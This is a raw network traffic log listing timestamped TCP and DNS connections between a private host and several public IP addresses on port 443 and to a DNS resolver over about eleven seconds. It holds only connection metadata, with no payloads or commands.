Apr 2, 2025 08:38:53.652199030 CEST	443	55119	172.67.215.243	192.168.2.17
Apr 2, 2025 08:38:53.735968113 CEST	60338	443	192.168.2.17	104.18.95.41
Apr 2, 2025 08:38:53.813988924 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.814110041 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.814163923 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.814217091 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.834299088 CEST	443	60338	104.18.95.41	192.168.2.17
Apr 2, 2025 08:38:53.834316969 CEST	443	60338	104.18.95.41	192.168.2.17
Apr 2, 2025 08:38:53.834321976 CEST	443	60338	104.18.95.41	192.168.2.17
Apr 2, 2025 08:38:53.834328890 CEST	443	60338	104.18.95.41	192.168.2.17
Apr 2, 2025 08:38:53.834821939 CEST	60338	443	192.168.2.17	104.18.95.41
Apr 2, 2025 08:38:53.834917068 CEST	60338	443	192.168.2.17	104.18.95.41
Apr 2, 2025 08:38:53.834981918 CEST	60338	443	192.168.2.17	104.18.95.41
Apr 2, 2025 08:38:53.850008965 CEST	443	55119	172.67.215.243	192.168.2.17
Apr 2, 2025 08:38:53.851780891 CEST	51452	53	192.168.2.17	1.1.1.1
Apr 2, 2025 08:38:53.851939917 CEST	61472	53	192.168.2.17	1.1.1.1
Apr 2, 2025 08:38:53.878737926 CEST	55119	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:38:53.911942959 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.931319952 CEST	443	60338	104.18.95.41	192.168.2.17
Apr 2, 2025 08:38:53.939635038 CEST	443	60338	104.18.95.41	192.168.2.17
Apr 2, 2025 08:38:53.939917088 CEST	60338	443	192.168.2.17	104.18.95.41
Apr 2, 2025 08:38:53.948704004 CEST	53	61472	1.1.1.1	192.168.2.17
Apr 2, 2025 08:38:53.949569941 CEST	53	51452	1.1.1.1	192.168.2.17
Apr 2, 2025 08:38:53.969917059 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.969985008 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.970026970 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.970066071 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.970107079 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.970146894 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.970184088 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.970221043 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.970257044 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.970258951 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.970315933 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.970352888 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.970374107 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.970391989 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.970432997 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.970433950 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.970472097 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.970484972 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.970510960 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.970547915 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.970585108 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.970622063 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.970659018 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.970696926 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.970736027 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.970773935 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.970810890 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.970849037 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.971010923 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.971097946 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.971162081 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.971214056 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.971273899 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.971518993 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.005677938 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.067576885 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.067634106 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.067672014 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.067845106 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.067884922 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.067923069 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.067925930 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.067960978 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.068000078 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.068041086 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.068099976 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.068105936 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.068146944 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.068160057 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.068187952 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.068202019 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.068224907 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.068242073 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.068293095 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.068329096 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.068366051 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.068411112 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.068449020 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.068485022 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.068522930 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.068557978 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.068594933 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.068631887 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.068667889 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.068706989 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.068742990 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.068780899 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.068819046 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.068826914 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.068856001 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.068892956 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.068929911 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.068968058 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.069001913 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.069005013 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.069041014 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.069077969 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.069113970 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.069150925 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.069186926 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.069221973 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.102168083 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.102773905 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.102814913 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.132946968 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.165874958 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.165915966 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.165954113 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.165992022 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.166028976 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.166066885 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.166136980 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.166174889 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.166213036 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.166253090 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.166290045 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.166326046 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.166363001 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.166398048 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.166436911 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.166471004 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.166507006 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.166543961 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.166579962 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.166621923 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.166657925 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.166695118 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.166733980 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.166791916 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.166829109 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.166866064 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.166903019 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.166939974 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.166977882 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.167012930 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.167048931 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.167715073 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.168124914 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.168337107 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.196352005 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.198662043 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.198700905 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.198738098 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.198775053 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.198812008 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.198848009 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.227144003 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.229686975 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.229712009 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.257680893 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.264219046 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.264239073 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.264250994 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.264411926 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.264451981 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.264466047 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.264524937 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.264543056 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.264604092 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.264703035 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.264714003 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.264724016 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.264735937 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.264748096 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.264779091 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.264960051 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.264976978 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.265043974 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.265064955 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.265117884 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.265222073 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.265233040 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.265243053 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.265254974 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.265275955 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.265288115 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.265300989 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.265697956 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.292730093 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.292985916 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.325423002 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.325444937 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.325457096 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.325470924 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.325484991 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.325499058 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.350008965 CEST	62768	443	192.168.2.17	35.190.80.1
Apr 2, 2025 08:38:54.350121021 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.355036974 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.355058908 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.362410069 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.362481117 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.362611055 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.362729073 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.362742901 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.362756968 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.362768888 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.362782001 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.362795115 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.362809896 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.362823009 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.363064051 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.363177061 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.363183022 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.363192081 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.363204002 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.363215923 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.363229036 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.363243103 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.363255024 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.363332987 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.363346100 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.363357067 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.363543034 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.383999109 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.390501976 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.390686035 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.390703917 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.390866995 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.441723108 CEST	443	62768	35.190.80.1	192.168.2.17
Apr 2, 2025 08:38:54.441782951 CEST	443	62768	35.190.80.1	192.168.2.17
Apr 2, 2025 08:38:54.441822052 CEST	443	62768	35.190.80.1	192.168.2.17
Apr 2, 2025 08:38:54.444196939 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.446926117 CEST	62768	443	192.168.2.17	35.190.80.1
Apr 2, 2025 08:38:54.448456049 CEST	62768	443	192.168.2.17	35.190.80.1
Apr 2, 2025 08:38:54.448725939 CEST	62768	443	192.168.2.17	35.190.80.1
Apr 2, 2025 08:38:54.448877096 CEST	62768	443	192.168.2.17	35.190.80.1
Apr 2, 2025 08:38:54.449290991 CEST	62768	443	192.168.2.17	35.190.80.1
Apr 2, 2025 08:38:54.482289076 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.516640902 CEST	60338	443	192.168.2.17	104.18.95.41
Apr 2, 2025 08:38:54.533535004 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.533562899 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:54.538448095 CEST	443	62768	35.190.80.1	192.168.2.17
Apr 2, 2025 08:38:54.538461924 CEST	443	62768	35.190.80.1	192.168.2.17
Apr 2, 2025 08:38:54.538779020 CEST	62768	443	192.168.2.17	35.190.80.1
Apr 2, 2025 08:38:54.538861036 CEST	443	62768	35.190.80.1	192.168.2.17
Apr 2, 2025 08:38:54.566642046 CEST	443	62768	35.190.80.1	192.168.2.17
Apr 2, 2025 08:38:54.579087973 CEST	62768	443	192.168.2.17	35.190.80.1
Apr 2, 2025 08:38:54.579299927 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:54.613236904 CEST	443	60338	104.18.95.41	192.168.2.17
Apr 2, 2025 08:38:54.618835926 CEST	443	60338	104.18.95.41	192.168.2.17
Apr 2, 2025 08:38:54.654944897 CEST	60338	443	192.168.2.17	104.18.95.41
Apr 2, 2025 08:38:54.694746971 CEST	443	62768	35.190.80.1	192.168.2.17
Apr 2, 2025 08:38:55.155621052 CEST	49152	53	192.168.2.17	1.1.1.1
Apr 2, 2025 08:38:55.155855894 CEST	60040	53	192.168.2.17	1.1.1.1
Apr 2, 2025 08:38:55.253592968 CEST	53	60040	1.1.1.1	192.168.2.17
Apr 2, 2025 08:38:55.255234957 CEST	53	49152	1.1.1.1	192.168.2.17
Apr 2, 2025 08:38:55.256562948 CEST	64745	443	192.168.2.17	142.251.40.228
Apr 2, 2025 08:38:55.347733974 CEST	443	64745	142.251.40.228	192.168.2.17
Apr 2, 2025 08:38:55.350819111 CEST	64745	443	192.168.2.17	142.251.40.228
Apr 2, 2025 08:38:55.355673075 CEST	443	64745	142.251.40.228	192.168.2.17
Apr 2, 2025 08:38:55.355706930 CEST	443	64745	142.251.40.228	192.168.2.17
Apr 2, 2025 08:38:55.355959892 CEST	64745	443	192.168.2.17	142.251.40.228
Apr 2, 2025 08:38:55.440623999 CEST	443	64745	142.251.40.228	192.168.2.17
Apr 2, 2025 08:38:55.440655947 CEST	443	64745	142.251.40.228	192.168.2.17
Apr 2, 2025 08:38:55.441536903 CEST	64745	443	192.168.2.17	142.251.40.228
Apr 2, 2025 08:38:55.442198038 CEST	64759	53	192.168.2.17	1.1.1.1
Apr 2, 2025 08:38:55.442351103 CEST	53236	53	192.168.2.17	1.1.1.1
Apr 2, 2025 08:38:55.442724943 CEST	63341	53	192.168.2.17	1.1.1.1
Apr 2, 2025 08:38:55.442847013 CEST	64027	53	192.168.2.17	1.1.1.1
Apr 2, 2025 08:38:55.443419933 CEST	64745	443	192.168.2.17	142.251.40.228
Apr 2, 2025 08:38:55.443568945 CEST	64745	443	192.168.2.17	142.251.40.228
Apr 2, 2025 08:38:55.478791952 CEST	64745	443	192.168.2.17	142.251.40.228
Apr 2, 2025 08:38:55.533112049 CEST	443	64745	142.251.40.228	192.168.2.17
Apr 2, 2025 08:38:55.533140898 CEST	443	64745	142.251.40.228	192.168.2.17
Apr 2, 2025 08:38:55.533611059 CEST	64745	443	192.168.2.17	142.251.40.228
Apr 2, 2025 08:38:55.538930893 CEST	53	53236	1.1.1.1	192.168.2.17
Apr 2, 2025 08:38:55.539695978 CEST	53	63341	1.1.1.1	192.168.2.17
Apr 2, 2025 08:38:55.540163994 CEST	53	64027	1.1.1.1	192.168.2.17
Apr 2, 2025 08:38:55.540597916 CEST	53	64759	1.1.1.1	192.168.2.17
Apr 2, 2025 08:38:55.541049004 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:55.541583061 CEST	55302	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:55.558562994 CEST	443	64745	142.251.40.228	192.168.2.17
Apr 2, 2025 08:38:55.639746904 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:55.639770031 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:55.639786005 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:55.640068054 CEST	443	55302	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:55.640423059 CEST	443	55302	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:55.640496016 CEST	443	55302	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:55.640542030 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:55.641088009 CEST	55302	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:55.641956091 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:55.642075062 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:55.642374039 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:55.642724991 CEST	55302	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:55.642803907 CEST	55302	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:55.642957926 CEST	55302	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:55.742466927 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:55.742487907 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:55.742532969 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:55.742546082 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:55.743016005 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:55.743105888 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:55.743402004 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:55.743680954 CEST	443	55302	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:55.743715048 CEST	443	55302	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:55.743799925 CEST	443	55302	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:55.743813038 CEST	443	55302	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:55.743853092 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:55.743885994 CEST	55302	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:55.743963957 CEST	443	55302	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:55.744005919 CEST	55302	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:55.744740009 CEST	443	55302	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:55.781727076 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:55.781786919 CEST	55302	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:55.840246916 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:55.841270924 CEST	443	55302	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:55.876729012 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:55.876797915 CEST	55302	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:58.611813068 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:58.611813068 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:58.709218979 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:58.711021900 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:58.740890026 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:58.767744064 CEST	443	53329	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:58.805361032 CEST	53329	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:01.777519941 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:39:01.874876022 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:39:01.879719019 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:39:01.879760027 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:39:01.916754007 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:39:03.582691908 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:39:03.679577112 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:39:03.688275099 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:39:03.695162058 CEST	60338	443	192.168.2.17	104.18.95.41
Apr 2, 2025 08:39:03.715893984 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:39:03.794176102 CEST	443	60338	104.18.95.41	192.168.2.17
Apr 2, 2025 08:39:03.801518917 CEST	443	60338	104.18.95.41	192.168.2.17
Apr 2, 2025 08:39:03.827054977 CEST	60338	443	192.168.2.17	104.18.95.41
Apr 2, 2025 08:39:04.983830929 CEST	61313	443	192.168.2.17	104.18.94.41
